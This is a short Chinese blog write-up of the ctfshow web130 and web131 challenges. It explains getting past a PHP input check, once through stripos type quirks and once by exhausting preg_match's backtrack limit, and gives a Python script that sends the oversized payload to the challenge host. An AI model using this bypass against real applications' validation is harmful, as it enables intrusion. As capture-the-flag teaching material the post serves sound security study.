ctfshow web130.131(突破正则!)

if(isset($_POST['f'])){
    //$f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

130 没有进行类型转换,非常好过,因为stripos这个函数有三个返回值:

1.bool(false) -----> 未找到需要查找的字符串

2.NULL -----> 第一个参数是数组

3.int(?) -----> 找到字符串的位置并返回该数字

131 正则表达式溢出:

考察点:利用正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
原文链接:https://blog.csdn.net/miuzzx/article/details/109181768

python脚本如下

import requests
url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/"
data={
	'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

 

posted @ 2022-10-19 21:10  hithub  阅读(129)  评论(0编辑  收藏  举报